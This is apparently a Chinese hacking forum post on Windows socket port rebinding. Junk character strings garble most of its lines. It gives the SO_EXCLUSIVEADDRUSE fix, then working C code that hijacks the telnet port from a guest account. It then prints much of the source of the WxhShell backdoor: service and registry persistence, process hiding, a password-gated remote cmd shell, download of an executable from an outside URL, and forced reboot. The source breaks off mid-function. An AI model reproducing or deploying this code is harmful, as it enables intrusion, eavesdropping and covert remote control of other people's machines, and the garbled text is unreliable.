在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
E${J s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
#00D?nC =LOk13l\" saddr.sin_family = AF_INET;
vHS2q
> \6{LR& saddr.sin_addr.s_addr = htonl(INADDR_ANY);
+s ULo $%Z3;:<Uf- bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
*#zS^b n m~;B:LN< 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
CI^[I\$& \0nlPXk?G 这意味着什么?意味着可以进行如下的攻击:
h(nj,X+
>zQOK- 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
88+
=F
XG T<P0T< 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
5Dd:r{{ Q s"WBw'_<< 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
$C uR}g 6x/s|RWL1 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
}-74 f aZ6'|S; 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
<6/= y1QC) 0'`S, 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
6lsEGe `"c'z; 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
W!91tzs: /D'M 24 #include
Vc _:* #include
^^U%cu Kg #include
e\D|
o?v #include
|NJ}F@t/5 DWORD WINAPI ClientThread(LPVOID lpParam);
a ~opE!|m int main()
w^Ag]HZN {
6Hk="$6K WORD wVersionRequested;
8eN7VT eb DWORD ret;
\x(^]/@ WSADATA wsaData;
f}iU& 3S BOOL val;
s1bU SOCKADDR_IN saddr;
hO3{ SOCKADDR_IN scaddr;
R5(F)abi int err;
LTXz$Z] SOCKET s;
bY)#v? SOCKET sc;
45<y{8 int caddsize;
Zj!Abji=O HANDLE mt;
Ys3uPs DWORD tid;
2 x32U
MD wVersionRequested = MAKEWORD( 2, 2 );
_~&9*D$
{> err = WSAStartup( wVersionRequested, &wsaData );
DZk1ZLz if ( err != 0 ) {
lL0M^Nv printf("error!WSAStartup failed!\n");
Juu+vMn1 return -1;
2"X~ju }
id?E)Jy saddr.sin_family = AF_INET;
2.nE
k Gq1)1 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
r[pF^y0 ;&S;%W>| saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
9->q| E4 saddr.sin_port = htons(23);
\k; n20\u if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
i%F<AY\O) {
VD[pZ2;4 printf("error!socket failed!\n");
v+6e;xl8 return -1;
z)w-N }
:G=FiC val = TRUE;
y'
[LNp V //SO_REUSEADDR选项就是可以实现端口重绑定的
cU8x Upq if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
<cj{Qk {
~=cmM printf("error!setsockopt failed!\n");
S&wzB)#' return -1;
u-:Ic.ZV }
}`_(<H //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
2 hq\n< //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
cP rwW6 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
vFhz!P~ e.8$ga{ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
(>7>3 {
>bIF>9T ret=GetLastError();
:FHA]oec1 printf("error!bind failed!\n");
Ej"u1F14J return -1;
!YE zFU`L }
ue\t ,*KYd listen(s,2);
|`0n"x7 while(1)
Fe!9y2Mg {
fzPZ| caddsize = sizeof(scaddr);
;dZMa]X0 //接受连接请求
JvL{| KtyU sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
Cy@ cLdV if(sc!=INVALID_SOCKET)
v"!4JZ%K {
*eb-rhCVn mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
;gB`YNL if(mt==NULL)
yWb4Ify {
\Y5W!.(%w printf("Thread Creat Failed!\n");
q-_' W, break;
GBQn_(b9I }
/tj$luls5 }
;;#`#v CloseHandle(mt);
_A'{la~k }
{/ 2E*|W~I closesocket(s);
tC)6 WSACleanup();
L0"~[zB]N return 0;
~x]9SXD% }
Dl,`\b@Fw3 DWORD WINAPI ClientThread(LPVOID lpParam)
t'(1I|7 {
~ap2m SOCKET ss = (SOCKET)lpParam;
75NRCXh. SOCKET sc;
AK@L32-S unsigned char buf[4096];
[Qj;/ SOCKADDR_IN saddr;
<]d
LX}C) long num;
E=w3=\JP DWORD val;
nc?B6IV DWORD ret;
z]@6fM[ //如果是隐藏端口应用的话,可以在此处加一些判断
c$h9/H=~ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
s\3q!A?S3 saddr.sin_family = AF_INET;
&JhX+'U saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
-t-tn22 saddr.sin_port = htons(23);
| C+o; if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
1cC1*c0Z {
c0rk<V%5+ printf("error!socket failed!\n");
!mnUdR|>( return -1;
D1T@R)j }
#b)e4vwCq val = 100;
g0R[xOS|
if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
"![L#)"s {
;['a ret = GetLastError();
`dW]4>`O return -1;
zP) ~a }
zm#nV
Y` if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
zT9JBMNE: {
wkb$^mU ret = GetLastError();
A9:NKY{z return -1;
N4!<Xj }
[f{VIE*?% if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
4. qtp` {
I;MD>%[W, printf("error!socket connect failed!\n");
fiDl8=~@ closesocket(sc);
V5mTu)tp5 closesocket(ss);
/-M@[p& return -1;
,kM)7!]N }
'%;\YD9 while(1)
#x@ eDnb_ {
=Lp7{09u //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
27Emm
c //如果是嗅探内容的话,可以再此处进行内容分析和记录
ccJM>9 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
[\e@_vY@OH num = recv(ss,buf,4096,0);
&^.57] if(num>0)
z\!K<d"Xv send(sc,buf,num,0);
X[3}?,aqL else if(num==0)
L
3XB"A# break;
U5r}6D!) num = recv(sc,buf,4096,0);
Ud(`V:d if(num>0)
~mp0B9L% send(ss,buf,num,0);
svhI3"r else if(num==0)
kxB.,' break;
g P}+wbk }
rZ03x\2 closesocket(ss);
-ysn&d\rV closesocket(sc);
[2c{k return 0 ;
ROb\Rxm }
19U]2D/z !{%: qQiA UQ?%|y*Kc ==========================================================
Xrqx\X A[N{ 下边附上一个代码,,WXhSHELL
6,b" j<yiNHC ==========================================================
P 7D!6q )%Iv[TB[ #include "stdafx.h"
YwDt.6(+, ^QXbJJ #include <stdio.h>
Bi%x`4Lf #include <string.h>
1NLg _UBOK #include <windows.h>
r6.d s^ #include <winsock2.h>
~/#1G.H #include <winsvc.h>
vGd1w%J- #include <urlmon.h>
&, a3@i Fke//- R #pragma comment (lib, "Ws2_32.lib")
7<\C?`q" #pragma comment (lib, "urlmon.lib")
C(?blv-vM0 V-yUJ#f8[ #define MAX_USER 100 // 最大客户端连接数
@'2m$a #define BUF_SOCK 200 // sock buffer
+0$/y]k #define KEY_BUFF 255 // 输入 buffer
r%]Qlt~K *C| #define REBOOT 0 // 重启
^s :y/Kd #define SHUTDOWN 1 // 关机
>l5$ 9wO O6s.<`\ #define DEF_PORT 5000 // 监听端口
iJh!KEy~A5 $.E6S<(h #define REG_LEN 16 // 注册表键长度
-G |a*^ #define SVC_LEN 80 // NT服务名长度
9J-b6, Gu0 ,)jy\ // 从dll定义API
#
TkR typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
QO;4}rq typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
'Prxocxq typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
Ri*3ySyb typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
2[yBD-": 5]Ajf;W\ // wxhshell配置信息
}FqA ppr struct WSCFG {
r?$?;%|C int ws_port; // 监听端口
))h6~1` char ws_passstr[REG_LEN]; // 口令
dFXc/VH') int ws_autoins; // 安装标记, 1=yes 0=no
W7No ls{ char ws_regname[REG_LEN]; // 注册表键名
4_?7&G0( char ws_svcname[REG_LEN]; // 服务名
$%k1fa C char ws_svcdisp[SVC_LEN]; // 服务显示名
AONDx3[
char ws_svcdesc[SVC_LEN]; // 服务描述信息
2'0K WYM char ws_passmsg[SVC_LEN]; // 密码输入提示信息
a:STQk V int ws_downexe; // 下载执行标记, 1=yes 0=no
|AZW9 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
mh/n.*E7 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
4Ft1@ .p`
pG3 };
u'~;Y.@i' 5`+5{p // default Wxhshell configuration
._Zt=jB struct WSCFG wscfg={DEF_PORT,
u,.3 "xuhuanlingzhe",
D@ek9ARAq 1,
\E1U@6a "Wxhshell",
`|Z}2vo;j "Wxhshell",
:3h{ A`u "WxhShell Service",
dI'SwnR "Wrsky Windows CmdShell Service",
giY80!GX "Please Input Your Password: ",
RzKb{>
;A 1,
NPnHH:\; "
http://www.wrsky.com/wxhshell.exe",
%:v`EjRD0 "Wxhshell.exe"
#s-iy+/1oN };
Y-!YhWsS :a[Ihqfg // 消息定义模块
LaFZ?7@|} char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
22hSove. char *msg_ws_prompt="\n\r? for help\n\r#>";
V<Z'(UI char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
-T@`hk` char *msg_ws_ext="\n\rExit.";
~EiH-z4U char *msg_ws_end="\n\rQuit.";
PyC0Q\$% char *msg_ws_boot="\n\rReboot...";
(?)7)5H char *msg_ws_poff="\n\rShutdown...";
X@N$Z{ char *msg_ws_down="\n\rSave to ";
U\@A_
B I&yVx8aH} char *msg_ws_err="\n\rErr!";
Wzq>JNny char *msg_ws_ok="\n\rOK!";
c~}l8M% )Q;978: char ExeFile[MAX_PATH];
M)-6T{[IT int nUser = 0;
\ gwXH HANDLE handles[MAX_USER];
$RX'(/ int OsIsNt;
&n2e XUMX* SERVICE_STATUS serviceStatus;
w&h2y4 SERVICE_STATUS_HANDLE hServiceStatusHandle;
&7mW9] .1 )RW5|c // 函数声明
3Mjj'5KH! int Install(void);
~`8hwR1&z int Uninstall(void);
"d/s5sP|S int DownloadFile(char *sURL, SOCKET wsh);
jR ~DToQ int Boot(int flag);
!v|ISyK void HideProc(void);
IE~%=/| int GetOsVer(void);
{BBw$m, o int Wxhshell(SOCKET wsl);
RrrK*Fk8= void TalkWithClient(void *cs);
W[bmzvJ_X int CmdShell(SOCKET sock);
;E;To\NCYF int StartFromService(void);
E`\8TqO int StartWxhshell(LPSTR lpCmdLine);
5X.ebd;PT % ~]xuP[ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
Pf_F59" VOID WINAPI NTServiceHandler( DWORD fdwControl );
e'*HS7g `1` f*d
v // 数据结构和表定义
U%B(5cC SERVICE_TABLE_ENTRY DispatchTable[] =
b}!3;: iD {
Z [Xa%~5>5 {wscfg.ws_svcname, NTServiceMain},
`NRH9l>B7 {NULL, NULL}
R@Y=o].2 };
MZv]s rsNf$v-* // 自我安装
J:dof:q int Install(void)
0X|_^"! {
=v~1qWX char svExeFile[MAX_PATH];
AnsjmR:Jv HKEY key;
_ o6G6e, strcpy(svExeFile,ExeFile);
&-l8n^ 9v)%dO. // 如果是win9x系统,修改注册表设为自启动
bKVj [r8D~ if(!OsIsNt) {
D>L2o88 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
K<sC F[ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
WKM)*@#, RegCloseKey(key);
hn)a@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
.9G<y 4 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
4R%*Z~ RegCloseKey(key);
eJ8]g49mD6 return 0;
2C^B_FUg|] }
.lG5=Th! }
[s1pM1x }
0'Z\O
else {
m*0,s L6P1L) // 如果是NT以上系统,安装为系统服务
DC+wD
Bp; SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
SS|z*h
Z if (schSCManager!=0)
;oOv/3 {
v`[Eb27W. SC_HANDLE schService = CreateService
yBed kj (
we7c`1E schSCManager,
KU9Z"9# wscfg.ws_svcname,
Rf %HIAVE wscfg.ws_svcdisp,
SjEAuRDvUz SERVICE_ALL_ACCESS,
|+IZS/W" SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
,1{Ep` SERVICE_AUTO_START,
hqSJ(gs{ SERVICE_ERROR_NORMAL,
!/{+WHxIr| svExeFile,
h~Q)Uy5N(D NULL,
>-<8N-@"n NULL,
uYG^Pc^v NULL,
WP**a Bp NULL,
(n{wg(R NULL
pI[ZBoR~ );
,3DXFV'uxb if (schService!=0)
Fig&&b a {
9 t
n!t CloseServiceHandle(schService);
;,'igdold CloseServiceHandle(schSCManager);
X~.f7Ao[ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
&xZyM@ strcat(svExeFile,wscfg.ws_svcname);
AN:@fZ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Pi2| RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
" K* RegCloseKey(key);
?/*~;fM return 0;
1M3%fW }
U_yE&6 T }
5
LP?Ij CloseServiceHandle(schSCManager);
[ee%c Xo }
cp
Ear }
C_:k8? n}-3o]ku return 1;
7B9 `<{!h }
;(6g\'m Rs& @4_D // 自我卸载
9?T{}| ? int Uninstall(void)
^D67y% {
BfTcI) HKEY key;
~q +[<xR\ *v%rMU7, if(!OsIsNt) {
L *[K>iW if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
wRNroQ RegDeleteValue(key,wscfg.ws_regname);
uZKP"Oy RegCloseKey(key);
?ne_m:J[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
2LY=DL7 RegDeleteValue(key,wscfg.ws_regname);
R!
s6% :Yg RegCloseKey(key);
oSb, :^Wl return 0;
N@o?b }
xh@-g|+g }
eBN)g^ }
g\oSG) else {
3#kitmV "v*8_El SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
L}{`h if (schSCManager!=0)
]Al;l*yw {
k5d\w@G"~ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
J<n+\F-s if (schService!=0)
;+ "f {
LS>G4
] if(DeleteService(schService)!=0) {
wgeNs9L CloseServiceHandle(schService);
pj|pcv^ CloseServiceHandle(schSCManager);
>:sUL<p return 0;
tS# `.F~y }
t6N*6ld2b CloseServiceHandle(schService);
~89P[$6 }
5__+_hO
;3 CloseServiceHandle(schSCManager);
X+8B!F }
|tMn={ }
/x@RNdKv c2SC|s] return 1;
DmqX"x%P }
zRl~^~sY DLPUqKL] // 从指定url下载文件
+';>=hha int DownloadFile(char *sURL, SOCKET wsh)
"L"150Ih {
{43yb_B( HRESULT hr;
i?;r7> char seps[]= "/";
kQdt}o]) char *token;
wz8PtfZ char *file;
:Gqy>)CxX char myURL[MAX_PATH];
Tn-C>=tR~% char myFILE[MAX_PATH];
Tm]nEl)_ ,0$)yZ3*3, strcpy(myURL,sURL);
R/b4NGW@ token=strtok(myURL,seps);
J a,d3K
while(token!=NULL)
r~[vaQQ6L {
m,LG=s file=token;
lEL78l. token=strtok(NULL,seps);
d=.2@Ry }
3Q}$fQ&S !,$i6gm GetCurrentDirectory(MAX_PATH,myFILE);
1nj(hg strcat(myFILE, "\\");
`<\}FS`' strcat(myFILE, file);
beY=g7| send(wsh,myFILE,strlen(myFILE),0);
Ru!He,k7 send(wsh,"...",3,0);
Sywu=b hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
j{VGClb=T if(hr==S_OK)
{xcZ*m!B return 0;
7;`o(
[N else
ytEC return 1;
~.Ik#At G*
%t'jX9 }
W><Zn=G4)b tEd.'D8 s // 系统电源模块
sf}Dh int Boot(int flag)
k4J8O3E {
5R$G(Ap_ HANDLE hToken;
i yYJR TOKEN_PRIVILEGES tkp;
2pHR_mrb ,n,RFa if(OsIsNt) {
I 1d0iU OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
yKagT$- LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
W3W'oo tkp.PrivilegeCount = 1;
}`VDD?M tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
<c[U#KrvJ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
wHjLd$ +o if(flag==REBOOT) {
FwKj+f" if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
vZ7gS return 0;
FaTa(3$% }
=%)+%[wv else {
G>qZxy`c if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
".*x!l0y7 return 0;
co 4h*?q }
n#Dv2 E=6 }
gB,G.QM*6 else {
:S@1 if(flag==REBOOT) {
#(Or|\t if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
Id'RL2Kq*& return 0;
qMBR *f }
l|`9:H else {
zZ-wG if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
-a Gcf]6 return 0;
f},oj4P\ }
"ceed)(: }
Yx'res4e ?C0l~:j7D return 1;
dGfVZDsr] }
~`;rNnOT3 Q\
^[!| // win9x进程隐藏模块
UCrh/b Tm void HideProc(void)
3CjL\pIC {
7)rWw<mY l7(!`NPbC HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
!33#. @[ if ( hKernel != NULL )
gCd`pi
8 {
Rx36?/ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
07T70[G ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
[36,eK FreeLibrary(hKernel);
u]^N&2UW }
[mxTa\ Dz=k7zRg" return;
Rr(* aC2P }
+!-~yf#RE h~U02"$ // 获取操作系统版本
~\nBjM2 int GetOsVer(void)
Sgb*tE)T {
U7mozHS,:9 OSVERSIONINFO winfo;
PHg48Y"Nd winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
et,GrL)l GetVersionEx(&winfo);
/e\{
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
z!QDTIb return 1;
`+lHeLz': else
6< J
#^ 6 return 0;
YO{GU7 }
m^%|ZTrwN7 9_ICNG% // 客户端句柄模块
M/PFPJ >` int Wxhshell(SOCKET wsl)
9n]|PEoAB {
p5=|Y^g ! SOCKET wsh;
B
(/U3}w- struct sockaddr_in client;
fqz28aHh DWORD myID;
C`rLj5E% e)nimq
{6 while(nUser<MAX_USER)
G |*(8r() {
+,+vkpL-% int nSize=sizeof(client);
WE}kTq wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
Hs"(@eDV&J if(wsh==INVALID_SOCKET) return 1;
;T]d MfO 5 v^yQ<70 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
$!vxVs9n if(handles[nUser]==0)
h)lPi closesocket(wsh);
b/$km?R else
:vx$vZb nUser++;
A|#`k{+1- }
L(;WxHL WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
rn@`yTw^ U;_[b"SW% return 0;
4Ph0:^i_ }
vP%tk s+. &MmU // 关闭 socket
Hi!Jj void CloseIt(SOCKET wsh)
80}+MWdo {
"}WJd$ closesocket(wsh);
|as!Ui/J/ nUser--;
S&O3HC ExitThread(0);
p]D]:
Z}P }
Op.8a`XLt& S-+"@>{HJ // 客户端请求句柄
yn
AB void TalkWithClient(void *cs)
+ j+5ud` {
uxn)R#? kEeo5XN SOCKET wsh=(SOCKET)cs;
e;bYaM4UX char pwd[SVC_LEN];
Mpue char cmd[KEY_BUFF];
8rZ!ia! char chr[1];
CF!Sa 6 int i,j;
MmPU7Nl%X _3iHkQr while (nUser < MAX_USER) {
=-cwXo{Q.O zo{/'BnU if(wscfg.ws_passstr) {
EqiFy"H if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
O-vGyNxP| //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
sML=5=otx //ZeroMemory(pwd,KEY_BUFF);
,ea^,H6 i=0;
m .IU ;cR while(i<SVC_LEN) {
NE8 jC7 r'LVa6e"N // 设置超时
'[|+aJ fd_set FdRead;
zr v] struct timeval TimeOut;
x} /,yaWZ FD_ZERO(&FdRead);
uhH^>z
KA FD_SET(wsh,&FdRead);
Jo(`zuLJ TimeOut.tv_sec=8;
0X8t>#uF TimeOut.tv_usec=0;
Eh</? Qv\ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
s>_V
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
A$0H
.F> j!~l,::$"X if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
Kyt)2p pwd
=chr[0]; hD,:w%M
if(chr[0]==0xd || chr[0]==0xa) { in <(g@Zg
pwd=0; $\o{_?}1
break; DDT_kK;
} m ~#!
i++; NvE}eA#
} UEs7''6RM
%t=kdc0=_
// 如果是非法用户,关闭 socket ~fl@ 2
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); sKz`aqI
} >%p{38
!1T\cS#1%
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); hDP/JN8y
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d4:`@*
CQ7{1,?2
while(1) { G2 ]H6G$M
%R#L
ZeroMemory(cmd,KEY_BUFF);
e:E0 "<
'oNO-)p\#!
// 自动支持客户端 telnet标准 DBLk!~IF
j=0; 8bK|:B#6,
while(j<KEY_BUFF) { _$NIp `d
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q>f<u&
cmd[j]=chr[0]; C$Lu]pIL*
if(chr[0]==0xa || chr[0]==0xd) { .LVQx
cmd[j]=0; rD?L
break; q/3ziVd7p
} %98' @$:0
j++; ;Mm7n12z C
} ^2d!*W|
AT2v!mNyCw
// 下载文件 VUTacA Y>L
if(strstr(cmd,"http://")) { ?7:KphFX)
send(wsh,msg_ws_down,strlen(msg_ws_down),0); mS>xGtD&K
if(DownloadFile(cmd,wsh)) -aRU]kIf
send(wsh,msg_ws_err,strlen(msg_ws_err),0); :.(;<b<\
else uZa9zs=}c
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M7f;Pa
} sAo&
uZ
else { @uo ~nF j,
=/<LSeLxH
switch(cmd[0]) { ~pa!w?/bQ
jA".r'D%
// 帮助 i'd2[A.7I
case '?': { A,i75kd
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4?N8R$
break; s}5cSU!|
} 4tg<iH{
// 安装 f)]%.>
case 'i': { MT(o"ltQ
if(Install()) xw{-9k-~
send(wsh,msg_ws_err,strlen(msg_ws_err),0); +% /s*EC'w
else xI,2LGO
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y(R?
,wa=]
break; FZreP.2)!
} Y|8vO
// 卸载 u66XN^
case 'r': { e \O/H<
if(Uninstall()) (E,T#uc{
send(wsh,msg_ws_err,strlen(msg_ws_err),0); (}. @b|s
else sLE#q+W
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2r$#m*
break; IwGqf.!.>
} NM)k/?fA
// 显示 wxhshell 所在路径 Zmbfq8K
case 'p': { dr4Z5mw"E
char svExeFile[MAX_PATH]; (&$VxuJ+6y
strcpy(svExeFile,"\n\r"); !lo/xQ<
strcat(svExeFile,ExeFile); 6c0>gUQx-
send(wsh,svExeFile,strlen(svExeFile),0); >#ZUfm{k$
break; *<1r3!
} "~TA SX_?
// 重启 KfF!{g f
case 'b': { >u9Nz0?j
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); cqxVAzb
if(Boot(REBOOT)) x8GJY~:SW
send(wsh,msg_ws_err,strlen(msg_ws_err),0); @p\}p Y$T
else { = k\J<
closesocket(wsh); j,]Y$B
ExitThread(0); !3T&4t
} <\?wAjc,
break; f6$b
s+oP
} E*i#?u
// 关机 \"hJCP?,
case 'd': { }i!J/tJ)b
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); O12eH
if(Boot(SHUTDOWN)) HSq}7S&U
send(wsh,msg_ws_err,strlen(msg_ws_err),0); A 7[:5$
else { K98i[,rP
closesocket(wsh); YKQr,
Now
ExitThread(0); uwlr9nB
} $1ndKB8)`J
break; NHlk|Y#6b
} cX3l t5
// 获取shell 6;b~Ht
case 's': { L5MzLE&~
CmdShell(wsh); n_'{^6*O
closesocket(wsh); F2X0%te
ExitThread(0); (h:Rh
break; 3Gkv4,w<
} EYA,hc
// 退出 *2jK#9"MP
case 'x': { ,0LU~AGe
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ']+Uu'a
CloseIt(wsh); =hl }.p
break; v$^Z6>vVI
} sJNFFOz
// 离开 $ MC)}l
case 'q': { JchSMc.9
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5ZBKRu
closesocket(wsh); H/}]FmjN
WSACleanup(); NVRLrJWpp
exit(1); u]OW8rc
break; kZ"BBJ6w
} R
LD`O9#j
} Z(Jt~a3o
} n?V+dC=F}
-lv)tHs<
// 提示信息 l#n,Fg3
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R4-~j gzx
} tsk)zP,<
} !F?XLekTi
}\C-}
Q
return; 8g7<KKw
} -44l^}_u
j)q\9#sI/(
// shell模块句柄 &4_qF^9J
int CmdShell(SOCKET sock) i&n'N8D@
{ /t(C>$ }p
STARTUPINFO si; &iV{:)L
ZeroMemory(&si,sizeof(si)); dUsxvho
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; --DoB=5%8
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?Q&yEGm(
PROCESS_INFORMATION ProcessInfo; _Zr.ba
char cmdline[]="cmd"; b".L_Ma1*
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }1r m
return 0; Ps<d('=
} B/n[m@O
V dn&c
// 自身启动模式 IH"6? 9nd
int StartFromService(void) Nv"EV;$
{ ~ar=PmYV7
typedef struct :<|<|qJWo
{ `He,p -
DWORD ExitStatus; $cZUM}@
DWORD PebBaseAddress; ZWS`\M
DWORD AffinityMask; W|o'&
DWORD BasePriority; N
8-oY$*
ULONG UniqueProcessId; 2@
Z(P.Gh
